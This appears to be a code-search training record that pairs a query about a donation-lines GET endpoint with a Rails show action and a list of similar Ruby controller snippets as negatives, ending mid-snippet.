"def printTestExpectedOutput( fp )\n\t\tfp.printf( \"%s\\t\", @name ) if @name\n\t\tmissing = countMissing()\n\t\tfp.printf( \"%s:%s:%d:%d\\t\",\n\t\t\t\tmissing < @vector.length ? \"I\" : \"?\",\n\t\t\t\tdegenerate? ? \"!\" : \"-\", \n\t\t\t\t@cats, \n\t\t\t\tmissing )\n\t\tfp.puts( @vector.collect { |x| x.nil? ? OUTPUT_NA_MARKER : x }.join(\"\\t\") )\n\tend",
"def printTestExpectedOutput( fp )\n\t\tfp.printf( \"%s\\t\", @name ) if @name\n\t\tmissing = countMissing()\n\t\tfp.printf( \"%s:%s:%d:%d\\t\",\n\t\t\t\tmissing < @vector.length ? \"I\" : \"?\",\n\t\t\t\tdegenerate? ? \"!\" : \"-\", \n\t\t\t\t@cats, \n\t\t\t\tmissing )\n\t\tfp.puts( @vector.collect { |x| x.nil? ? OUTPUT_NA_MARKER : x }.join(\"\\t\") )\n\tend",
"def test_use_outfile_for_output\n @options[:patch_options] = '--help'\n \n gemfile = bake_testing_gem\n\n patches = []\n patches << bake_change_file_patch\n\n # Creates new patched gem in @gems_dir\n patcher = Gem::Patcher.new(gemfile, @gems_dir)\n patched_gem = patcher.patch_with(patches, @options)\n\n assert_equal 0, /.*Usage: patch \\[OPTION\\].*/ =~ patcher.std.join(' ')\n end",
"def dump_summary *args; end",
"def tmpfile(*args); end",
"def quack\n puts \"quack\"\nend",
"def print_file_sales_report_ascii\n $report_file.puts sales_report_ascii\nend",
"def printUsage\n print \"usage -- Moldyne.rb <numTimesteps> <structureFile> <outFile>\\n\"\n print \" <numTimesteps> - total number of timesteps to run\\n\"\n print \" <structureFile> - the PDB file to read in\\n\"\n print \" <outFilePrefix> - prefix for two output files (.out, .xyz)\\n\"\n end",
"def assert_run(*args)\n out, result = Open3.capture2e(*args)\n raise <<-ERROR unless result.success?\n === assert_run[#{args.join(' ')}] ===\n #{out.strip}\n ===\n ERROR\n end",
"def print_e(*args)\n timestamp = Time.now.strftime('%Y-%m-%d %H:%M:%S')\n args.each do |msg|\n STDERR.puts(\"[Ribopip #{timestamp}] #{msg}\")\n end\n end",
"def usage\n abort \"mint epub publish file\"\nend",
"def cmd_question argv\n setup argv\n msg run_cmd(\"?\")\n end",
"def prescription_1\n\tputs \"*** Prescription 1 ***\"\n\tputs \"Use the TDD process to create and adjust your code's design in small, incremental steps.\\n\\n\"\nend",
"def myputs(msg)\n if $options[:mode] == 'cron'\n puts msg\n else\n $progressbar.log msg\n end\nend",
"def zt_log *args\n if args.length == 0\n File.open(ZT_LOG_FILE, 'a') { |file_log| file_log.puts \"#{zt_timestamp} #{params[:controller]}##{params[:action]} - no arguments\"}\n else\n file_log = File.open(ZT_LOG_FILE, 'a') # Opens file\n file_log.puts \"#{zt_timestamp} #{params[:controller]}##{params[:action]}:\" # Writes controller#action\n\n # Writes all arguments to ...\n args.each_with_index do |arg, index|\n file_log.puts \"arg[#{index}]: #{arg.inspect}\" # ... zt.log\n puts \"arg[#{index}]: #{arg.inspect}\" # ... console\n# logger.debug \"arg[#{index}]: #{arg.inspect}\" # ... console & development.log\n end\n file_log.close #Closes file\n end\n end",
"def usage\n puts \"Usage examples:\n ./dump_from_db.rb --headers OUTDIR\n ^ Dumps headings only into the dir OUTDIR\n ./dump_from_db.rb OUTDIR -file INFILE\n ^ Dumps projects listed in INFILE \n (id only, one per line) to OUTDIR\n ./dump_from_db.rb OUTDIR -list 1000 1001 1002\n ^ Dumps projects 1000, 1001, etc to OUTDIR.\"\nend",
"def writeHints()\n\t\ttime = Time.now.to_s\n\t\thdr = \"=\" * 72\n\t\tshdr = \"-\" * 10\n\n\t\tFile.open(\"#{@outdir}/HINTS\", \"w\") do |hints|\n\t\t\thints.puts \"Rblatter-#{$RBLATTER_V}\"\n\t\t\thints.puts time\n\t\t\thints.puts @options[:eqn]\n\t\t\thints.puts hdr\n\t\t\thints.puts \"\"\n\n\t\t\thints.puts \"SUMMARY\"\n\t\t\thints.puts shdr\n\t\t\thints.puts \"\"\n\t\t\thints.puts \"includeFiles = #{@includeFiles.size}\"\n\t\t\thints.puts \"excludeFiles = #{@excludeFiles.size}\"\n\t\t\thints.puts \"includeMaps = #{@includeMaps.size}\"\n\t\t\thints.puts \"\"\n\n\t\t\thints.puts \"excludeMaps = #{@excludeMaps.size}\"\n\t\t\thints.puts \"includeFormats = \" + \n\t\t\t\t\"#{@includeFormats.size}\"\n\t\t\thints.puts \"excludeFormats = \" +\n\t\t\t\t\"#{@excludeFormats.size}\"\n\t\t\thints.puts \"\"\n\n\t\t\thints.puts \"final = #{@finalFiles.size}\"\n\t\t\thints.puts \"finalMaps = #{@finalMaps.size}\"\n\t\t\thints.puts \"finalFormats = #{@finalFormats.size}\"\n\t\t\thints.puts \"\"\n\n\t\t\thints.puts \"MAP HINTS\"\n\t\t\thints.puts shdr\n\t\t\thints.puts \"\"\n\t\t\t\n\t\t\t@finalMaps.each {|map| hints.puts map }\n\n\t\t\tif @finalMaps.size == 0 then\n\t\t\t\thints.puts \"(No map hints)\"\n\t\t\tend\n\n\t\t\thints.puts \"\"\n\t\t\thints.puts \"FORMAT HINTS\"\n\t\t\thints.puts shdr\n\t\t\thints.puts \"\"\n\n\t\t\t@finalFormats.each {|fmt| hints.puts fmt }\n\n\t\t\tif @finalFormats.size == 0 then\n\t\t\t\thints.puts \"(No format hints)\"\n\t\t\tend\n\n\t\tend\n\tend",
"def usage(msg)\n\tSTDERR.print msg, \"\\n\\n\"\n\tSTDERR.print \"Usage: #{File.basename($0)} statefile [statefile ...]\\n\\n\"\n\tSTDERR.print \"export iroffer statefile to text.\\n\"\n\texit 64\nend"
] |
[
"0.5442991",
"0.5393633",
"0.5364498",
"0.5339902",
"0.52652013",
"0.5254471",
"0.5191228",
"0.51716805",
"0.5159031",
"0.51338804",
"0.5127667",
"0.51218545",
"0.5079293",
"0.5073229",
"0.50719804",
"0.5070416",
"0.50651485",
"0.5065085",
"0.5053815",
"0.50405365",
"0.503398",
"0.5028228",
"0.5018351",
"0.5015461",
"0.49808297",
"0.49597803",
"0.49457893",
"0.49457893",
"0.49457893",
"0.49419814",
"0.4930021",
"0.4926847",
"0.49188575",
"0.49140692",
"0.49137318",
"0.48995796",
"0.48956695",
"0.48919967",
"0.4885287",
"0.48819596",
"0.48761994",
"0.48728222",
"0.48728222",
"0.48728222",
"0.48694068",
"0.48610955",
"0.4860984",
"0.48589024",
"0.48486474",
"0.48423654",
"0.48354742",
"0.48260805",
"0.4819233",
"0.4810537",
"0.4803596",
"0.48033866",
"0.4798455",
"0.4797458",
"0.47915906",
"0.4785682",
"0.47833052",
"0.47820714",
"0.47815177",
"0.47798768",
"0.4773008",
"0.47721267",
"0.47613657",
"0.4745957",
"0.47437122",
"0.47376317",
"0.4736068",
"0.47289455",
"0.47286722",
"0.47276974",
"0.47234085",
"0.47229835",
"0.471675",
"0.4716732",
"0.47071287",
"0.47035968",
"0.47005072",
"0.4697404",
"0.46972105",
"0.4693154",
"0.4693154",
"0.46888536",
"0.4686293",
"0.46862823",
"0.4685451",
"0.46784833",
"0.46779925",
"0.4677615",
"0.46758765",
"0.46745363",
"0.46744463",
"0.46738783",
"0.46707326",
"0.46702176",
"0.4667442",
"0.46650952",
"0.4661357"
] |
0.0
|
-1
|
the sum of the absolute value of each of the number's decimal digits. =begin input:number output: sum of the each digit in the absolute value form of number EX: 10 => 1 99=> 18 32 => |32| => 5 process convert number to string so we can examine each char convert each char to int and sum in new value, new value will equal solution =end
|
def sumDigits(number)
sol = 0
number.abs.to_s.each_char do |x|
sol += x.to_i
end
print sol
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sumDigits(number)\n number.to_s.chars.map(&:to_i).reduce { |accum, n| accum.abs + n.abs }\nend",
"def sumDigits(number)\n sum = 0\n number.to_s.split(\"\").each {|digit| sum+=digit.to_i.abs}\n sum\nend",
"def sum(number)\n sum = 0\n str_digits = number.to_s.chars\n\n str_digits.each do |str_digit|\n sum += str_digit.to_i\n end\n\n sum\nend",
"def sumaint(digitos)\n suma = 0\n if digitos.to_i < 0\n digitos = digitos.to_i\n digitos*= -1\n negativo = true\n end\n arreglo = digitos.to_s.chars\n for digito in arreglo\n dig = digito.to_i\n suma += dig\n end\n if negativo == true\n suma *= -1\n end\n return suma\nend",
"def sumDigits(number)\n number.to_s.chars.map(&:to_i).reduce\nend",
"def sum(number)\n number.to_s.chars.map(&:to_i).reduce(:+)\n \nend",
"def sum(number)\n sum = number.to_s.chars\n total = sum.map {|num| num.to_i }\n total.reduce(:+)\nend",
"def sum(number)\n number.to_s.chars.map(&:to_i).reduce(:+)\nend",
"def sum(number)\n number.to_s.chars.map(&:to_i).reduce(:+)\nend",
"def sum(num)\n digits = num.to_s.chars.map(&:to_i) # Get an array of ints\n digits.reduce(:+) # Return sum of digits\nend",
"def sum(number)\n numbers = number.to_s.chars\n\n numbers.reduce {|sum, i| sum.to_i + i.to_i }\nend",
"def sum_of_digits(number)\n\treturn (number/100)+((number/10)%10)+(number%10)\nend",
"def sum_of_digits(number)\n sum = 0\n digits = number.to_s\n digits.each_char { |c| sum += c.to_i }\n sum\nend",
"def sum(int)\n digits = int.to_s.split('')\n digits.map!(&:to_i)\n digits.reduce(:+)\nend",
"def sumdig_i(num)\n num.to_s.split('').map(&:to_i).reduce(:+)\nend",
"def sum_of_digits(number)\n digits = number.to_s.split(\"\")\n sum = 0\n digits.each do |digit|\n sum += digit.to_i\n end\n return sum\nend",
"def sum_of_digits(number)\n split_to_array(number).inject(:+)\n end",
"def value_of_summed_digits_of_this_less_than_100_number( number )\n\n raise ArgumentError \"number must be two digits\" unless number < 100\n\n sum = 0\n\n if number >= 10\n sum = number / 10 \n end\n \n sum += number % 10\n\n sum\nend",
"def suma(num)\n\t\ttotal =0\n\t\t((num*2).to_s.chars.map(&:to_i)).each{|x| total+=x}\n\t\treturn total\n\tend",
"def sum(num)\n num.to_s.chars.map(&:to_i).reduce(:+)\nend",
"def sum(num)\n num.to_s.chars.map(&:to_i).reduce(:+)\nend",
"def sum(num)\n num.to_s.chars.map(&:to_i).sum\nend",
"def digital_root1(number)\n return -1 if number < 0\n return number if number < 10\n\n sum = 0\n number.to_s.chars.map(&:to_i).each do |num|\n sum += num\n end\n\n if sum >= 10\n digital_root1(sum)\n else\n return sum\n end\nend",
"def sum(numbers)\n string = numbers.digits.reverse\n string.reduce(:+)\nend",
"def sum(integer)\n digits = integer.to_s.chars.map {|x|x.to_i}\n total = digits.reduce(0) {|sum,x| sum += x}\n #integer.to_s.chars.map(&:to_i).reduce(&:+)\nend",
"def digits_sum(n)\n n.to_s.split('').inject(0){|a,b|a+=b.to_i}\nend",
"def sum(input_integer)\n digits = input_integer.to_s.chars\n sum_array = digits.map { |digit| digit.to_i }.reduce(:+)\nend",
"def sum(number)\n n = number\n array = []\n answer = []\n while n > 1 do\n array << (n -= 1)\n end\n num = array.reduce(:*)\n num.to_s.split(\"\").each do |i|\n answer << i.to_i\n end\n return answer.reduce(:+)\nend",
"def digits_sum\n self.split('').map {|x| x.to_i}.inject(0) do |res,elt|\n res += elt\n res\n end\n end",
"def sum(number)\n number.to_s.split('').sum { |n| n.to_i }\nend",
"def sum_all_digits(num)\n split_string = num.to_s.split('')\n split_string.map!(&:to_i)\n sum_digits = split_string.inject(0) { |res,el| res + el }\n return sum_digits\nend",
"def numsum(n)\n result = 0\n while n >= 1\n digit = (n % 10).floor\n result += digit\n (n /= 10).floor\n end\n puts result\nend",
"def sum_digits(integer)\n arr = integer.to_s.chars.map { |num| num.to_i }\n arr.reduce(:+)\nend",
"def sum num\n value = 0\n str = num.to_s\n arr = str.split('')\n arr.map! {|char| char.to_i}\n arr.each {|x| value += x}\n value\nend",
"def digit_sum_old(int)\n return int.to_s.split('').map(&:to_i).sum\nend",
"def sum(int)\n int.to_s.chars.map(&:to_i).reduce(:+)\nend",
"def sum_of_digit_squares(number)\n\tdigits = number.to_s.split(//)\n\tsum = 0\n\tdigits.each do |digit|\n\t\tsum += (digit.to_i)**2\n\tend\n\tsum\nend",
"def digital_root(number)\n # return -1 if any negative number is provided\n if number < 0\n return -1\n end\n\n # split number into array \n number_array = number.to_s.scan(/\\d/).map {|i| i.to_i}\n # calculate sum of array while array.length > 1\n y = number_array.sum\n while y.to_s.length > 1\n y = number.to_s.scan(/\\d/).map {|i| i.to_i}\n y.sum\n end\n \nend",
"def power_digit_sum(num)\n num_array = num.to_s.split(//).map do |s|\n s.to_i\n end\n num_array.reduce(:+)\nend",
"def digit_sum (number)\n sum = 0\n base = 10\n while number > 0 do\n sum += number % base\n number /= base\n end\n return sum\nend",
"def sum(number)\n number.digits.sum\nend",
"def sum(number)\n number.digits.sum\nend",
"def sum(int)\n int.to_s.split(//).reduce(0){|sum, item| sum += item.to_i}\nend",
"def sum(number)\r\n number.digits.sum\r\nend",
"def sum_of_digits(num)\n\tsum = 0\n\tnum.to_s.each_char { |x| sum = sum + x.to_i}\n\tputs sum\nend",
"def sum(number)\n count = 0\n split = number.to_s.split('')\n split.each do |num|\n # num = num.to_i\n # count = count + num\n count += num.to_i\n end\n count\nend",
"def sum(integer)\n integer.digits.reduce(:+)\nend",
"def sum(number)\n num_array = number.to_s.split(//)\n number_sum = 0\n num_array.each { |num| number_sum += num.to_i }\n number_sum\nend",
"def sum_digits( i )\n sum = 0\n\n i.to_s.split( // ).each do |d|\n sum += d.to_i\n# sum += $a_to_i[d.ord]\n end\n\n sum\nend",
"def sum(num)\n digits = []\n sum = 0\n digits = num.digits\n sum = digits.sum\n return sum\nend",
"def sum_digits\n self.to_s.split('').inject(0) { |memo, c| memo + c.to_i }\n end",
"def sum(int)\n int.digits.sum\nend",
"def intSumOfDigitsInt2 i\n result = 0\n i.to_s.bytes.each do |i|\n result += i - 48\n end\n result\nend",
"def sum_of_digits(n)\n digits = n.to_s.split(//).map(&:to_i)\n digits.inject(0) { |sum, digit| sum + digit}\nend",
"def sum(number)\n array = number.to_s.split('')\n array.map! { |num| num.to_i }\n sum_nums = 0\n array.each { |num| sum_nums += num }\n sum_nums\nend",
"def sum_of_digits(n)\n sum = 0\n n.each_char {|digit| sum += digit.to_i}\n\n puts sum\nend",
"def sum_of_digit(n)\n sum = 0\n n.to_s.each_char {|i| sum = sum + i.to_i}\n puts sum\nend",
"def digit_sum(int)\n return int.digits.sum\nend",
"def sum(num)\n num.to_s.split('').inject(0) do |total, num|\n total + num.to_i\n end\nend",
"def sum(num)\na_num = []\nnum_split_string = num.to_s.split('')\n \n while a_num.count < num do\n a_num.push(num_split_string)\n a_num.count\n break\n end\n a_num.flatten!.map! do |e|\n e.to_i\n end\n a_num.sum\nend",
"def sum(integer)\n sum = integer.to_s.chars.map do |num|\n num.to_i\n end\n\n result = sum.inject(:+)\n result\nend",
"def sum3(integer)\n if integer < 10\n integer % 10\n else\n integer % 10 + sum(integer / 10)\n end\nend",
"def sumdig_i(n)\n# Shortcut for .map on array, and for each element in the array, returns the result of calling to_i on that element.\n return n.to_s.chars.map(&:to_i).reduce(:+)\nend",
"def sum(integer)\n integer.digits.sum\nend",
"def sum(input)\n arr = input.to_s.chars.map { |x| x.to_i }\n arr.reduce { |sum, num| sum + num }\n # number.to_s.chars.map(&:to_i).reduce(:+) # read up on symbols and procs\nend",
"def sumdig_i(n)\n nums = n.to_s.chars.map(&:to_i).inject(:+)\nend",
"def sumdig_r(num, result = 0)\n if num < 10\n result += num\n else\n result += num % 10\n result = sumdig_r(num / 10, result)\n end\n result\nend",
"def sum(num)\n num.to_s.split('').reduce do |sum, num|\n sum.to_i + num.to_i\n end\nend",
"def sum(num)\n sum = 0\n num.to_s.chars.each do |ch|\n sum += ch.to_i\n end\n sum\nend",
"def super_digit(n)\n sum = 0;\n\n while n > 0 || sum > 9\n if n == 0\n n = sum\n sum = 0\n end\n sum += n % 10\n n /= 10\n end\n return sum\nend",
"def sum2(num)\n arr = num.rectangular\n numbers = arr.first.to_s.split(//)\n numbers.map(&:to_i).inject(:+)\nend",
"def sum(int)\n int.to_s.split(\"\").map(&:to_i).reduce(&:+)\nend",
"def sum_digits(n)\n return n if n <= 9\n n % 10 + sum_digits(n / 10)\nend",
"def super_digit(n)\n return n if n < 10\n sum = n.to_s.chars.map(&:to_i).sum\n return super_digit(sum)\nend",
"def sum(num)\n sum = 0\n num.to_s.split('').each do |number|\n sum += number.to_i\n end\n sum\nend",
"def sum_digits(n)\n remaining = n\n sum = 0\n while remaining > 0\n sum += remaining % 10\n remaining = remaining / 10\n end\n sum\nend",
"def sum(num)\n num.digits.sum\nend",
"def sum(num)\n num.digits.sum\nend",
"def sum(num)\n num.digits.sum\nend",
"def sum(num)\n num.digits.sum\nend",
"def sum(nb)\n nb = nb.gsub(/[^\\d]/, '').to_i(10)\n if(nb.is_a? Integer)\n som = 0\n while nb != 0\n som += nb % 10\n nb = nb / 10\n end\n puts \"Somme des chiffres du nombre est de #{som}.\"\n end\nend",
"def digit_factorial_sum(num)\n sum = 0\n num.to_s.split(//).each do |digit|\n sum += factorial(digit.to_i)\n end\n return sum\nend",
"def super_digit(n)\n return n if n <= 9\n \n until n < 10\n sum = 0\n sum += (n % 10)\n sum += (n / 10)\n n = sum\n end\n\n return sum\nend",
"def sum(integer)\n integer_array = integer.to_s.split(//)\n integer_array.map! { |num| num.to_i }\n sum = integer_array.sum\nend",
"def sum_of_numbers_in_string(str)\n str.scan(/\\d+/).map { |chars| chars.to_i }.reduce(0, :+)\nend",
"def digital_root(n)\n arr = n.to_s.split(\"\")\n total = []\n val, answer = 0, 0\n arr.each {|x| val += x.to_i}\n if val <= 9\n return val\n elsif val > 9\n total = val.to_s.split(\"\")\n total.each {|s| answer += s.to_i }\n return answer\n end\nend",
"def NumberAddition(str)\n\n str.gsub!(/[^0-9]/, \" \")\n arr = str.split(\" \")\n sum = 0\n arr.each do |x|\n sum += x.to_i\n end\n return sum\n \nend",
"def super_digit(n)\n num_array = n.to_s.chars.map(&:to_i)\n sum = num_array.sum\n if sum <9\n return sum\n else \n return super_digit(sum)\n end\n \nend",
"def digital_root(n)\n arr = n.to_s.split('')\n if arr.length != 1\n tot = arr.inject(0){|sum,x| sum.to_i + x.to_i }\n while (tot >= 10)\n tot = tot.to_s.split('').inject(0){|sum,x| sum.to_i + x.to_i }\n end\n else \n return arr[0].to_i\n end\n return tot\n end",
"def sumdigit_r(num)\n if num < 10\n num\n else\n sumdigit_r(num/10) + num % 10\n end\nend",
"def sum(i)\n sum = i.digits.reduce(:+)\n sum\nend",
"def digit_sum(a,b)\n\tsums = []\n\tnum = a**b\n\tarr = num.to_s.split('')\n\tnum_arr = arr.map{|n| n.to_i}\n\tsums << num_arr.reduce(:+)\n\tp sums.max\nend",
"def digital_root(num)\n digits = []\n until num == 0\n digits << num % 10\n num /= 10\n end\n sum = digits.reduce(0, :+)\n sum < 10 ? sum : digital_root(sum)\nend",
"def solution(n)\n n.to_s.split(//).inject(1) { |a,d| a + d.to_i }\nend",
"def add_digits(num)\n return num if num < 10\n sum = 0\n num.to_s.split(\"\").each do |num|\n sum += num.to_i\n end\n add_digits(sum)\nend",
"def super_digit(n)\n return n if n / 10 < 1\n \n string = n.to_s.split(\"\")\n sum = 0\n \n string.each do |num|\n sum += num.to_i\n end\n \n return super_digit(sum)\nend",
"def sum_of_num(num)\n arry = num.to_s.split('').map {|num| num.to_i}\n arry.reduce {|sum, num| sum + num}\nend",
"def sum(n)\n n.digits.sum\nend",
"def NumberAddition(str)\n str.scan(/\\d+/).map {|i| i.to_i}.length == 0 ? 0 : str.scan(/\\d+/).map {|i|i.to_i}.inject(:+)\nend",
"def sum(num)\n\n\tarray_of_digits = num.digits\n\n\tarray_of_digits.sum\n\nend"
] |
[
"0.8110155",
"0.7927152",
"0.7423225",
"0.7339825",
"0.728929",
"0.7282996",
"0.72603375",
"0.72540134",
"0.72540134",
"0.72477764",
"0.72258633",
"0.7217085",
"0.7134727",
"0.7079307",
"0.7057833",
"0.7044004",
"0.70288587",
"0.7027454",
"0.7018795",
"0.7017343",
"0.7017343",
"0.69898057",
"0.69835114",
"0.69687253",
"0.6964199",
"0.69591093",
"0.6958485",
"0.6944796",
"0.69414043",
"0.69328654",
"0.69302446",
"0.69235975",
"0.6914328",
"0.6895318",
"0.6894097",
"0.68675035",
"0.683993",
"0.6813494",
"0.6808",
"0.6797587",
"0.67942077",
"0.67942077",
"0.67797846",
"0.6779632",
"0.6767651",
"0.6767005",
"0.67552716",
"0.6754568",
"0.6751229",
"0.673793",
"0.6732952",
"0.67310196",
"0.6719529",
"0.67113984",
"0.6710912",
"0.67089176",
"0.67053926",
"0.6679438",
"0.667063",
"0.6669333",
"0.6666204",
"0.66511595",
"0.66351694",
"0.66337913",
"0.66293275",
"0.6618643",
"0.6612294",
"0.6606452",
"0.66033596",
"0.6596183",
"0.6585169",
"0.65800333",
"0.6569438",
"0.6546274",
"0.6540049",
"0.6535515",
"0.6525391",
"0.6525391",
"0.6525391",
"0.6525391",
"0.65235794",
"0.65204316",
"0.6504728",
"0.6492116",
"0.6486512",
"0.64817816",
"0.6481502",
"0.6468202",
"0.64638877",
"0.6461731",
"0.6459015",
"0.6455587",
"0.6452242",
"0.64425933",
"0.6437719",
"0.64296776",
"0.64231473",
"0.6418171",
"0.6415235",
"0.6413616"
] |
0.788323
|
2
|
GET /donation_lines/1 GET /donation_lines/1.json
|
def show
@donation_line = DonationLine.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @donation_line }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @donation_line = DonationLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @donation_line }\n end\n end",
"def destroy\n @donation_line = DonationLine.find(params[:id])\n @donation_line.destroy\n\n respond_to do |format|\n format.html { redirect_to donation_lines_url }\n format.json { head :ok }\n end\n end",
"def create\n @donation_line = DonationLine.new(params[:donation_line])\n\n respond_to do |format|\n if @donation_line.save\n format.html { redirect_to @donation_line, notice: 'Donation line was successfully created.' }\n format.json { render json: @donation_line, status: :created, location: @donation_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @donation_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @donation_line = DonationLine.find(params[:id])\n\n respond_to do |format|\n if @donation_line.update_attributes(params[:donation_line])\n format.html { redirect_to @donation_line, notice: 'Donation line was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @donation_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @payment_line }\n end\n end",
"def show\n @line = Line.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"def show\n @line = Line.find_by_no(params[:id]) || not_found\n authorize! :index, @line\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"def show\n @line = Line.includes({:sublines => :transactions}).find(params[:id])\n @budget = @line.budget\n @subtitle = '%s %d' % [@line.category.capitalize, @line.line_number]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"def show\n @line_item = @order.line_items.find(params[:id])\n\n render json: @line_item\n end",
"def show\n @order_line = OrderLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order_line }\n end\n end",
"def index\n @line_items = @order.line_items\n\n render json: @line_items\n end",
"def new\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @payment_line }\n end\n end",
"def show\n @credit_line = CreditLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @credit_line }\n end\n end",
"def new\n @line = Line.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def show\n @donation = Donation.find(params[:id])\n\n # return json object\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @donation.to_json }\n end\n end",
"def index\n @line_details = LineDetail.all\n end",
"def show\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @customer_quote_line }\n end\n end",
"def show\n @line_item1 = LineItem1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @line_item1 }\n end\n end",
"def show\n @donation = Donation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @donation }\n end\n end",
"def new\n @order_line = OrderLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order_line }\n end\n end",
"def show\n donation = Donation.find_by(id: params[:id])\n render json: donation.as_json\n end",
"def show\n @donation = Donation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @donation }\n end\n end",
"def index\n @order_line_items = @order.order_line_items\n\n render json: @order_line_items\n end",
"def line_one\n @line_one\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n puts params.inspect.green\n\n @line_item = LineItem.find(params[:id])\n\n puts @line_items.inspect.magenta\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @batting_line = BattingLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @batting_line }\n end\n end",
"def create\n @line = Line.new(params[:line])\n @line.budget_id = params[:budget_id]\n @budget = @line.budget\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to budget_path(@budget), notice: 'Line was successfully created.' }\n format.json { render json: @line, status: :created, location: @line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def lines\n invoice_lines\n end",
"def show\n @sample_line = SampleLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sample_line }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @line_item }\n end\n end",
"def index\n @lines = Line.where(user_id: current_user.id, diagram_id:@diagram.id, node_id:@node.id)\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to new_line_path }\n format.json { head :no_content }\n end\n end",
"def show\n @invent_journal_line = InventJournalLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invent_journal_line }\n end\n end",
"def destroy\n @line = Line.find_by_no(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to lines_url }\n format.json { head :no_content }\n end\n end",
"def new\n @line = Line.new\n authorize! :new, @line\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def collect_order_line(shop_id, order_id, order_line)\n request(:post, \"shops/#{shop_id}/orders/#{order_id}/order_lines\", body: order_line).tap do |response|\n raise InvalidResponse, response.body unless response.status == 201\n end\n end",
"def new\n @line_item1 = LineItem1.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @line_item1 }\n end\n end",
"def show\n @lineitem = Lineitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lineitem }\n end\n end",
"def orders_get_discount_lines_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DiscountsApi.orders_get_discount_lines ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DiscountsApi.orders_get_discount_lines\"\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 250\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DiscountsApi.orders_get_discount_lines, must be smaller than or equal to 250.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DiscountsApi.orders_get_discount_lines, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/orders/{id}/discount_lines'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = 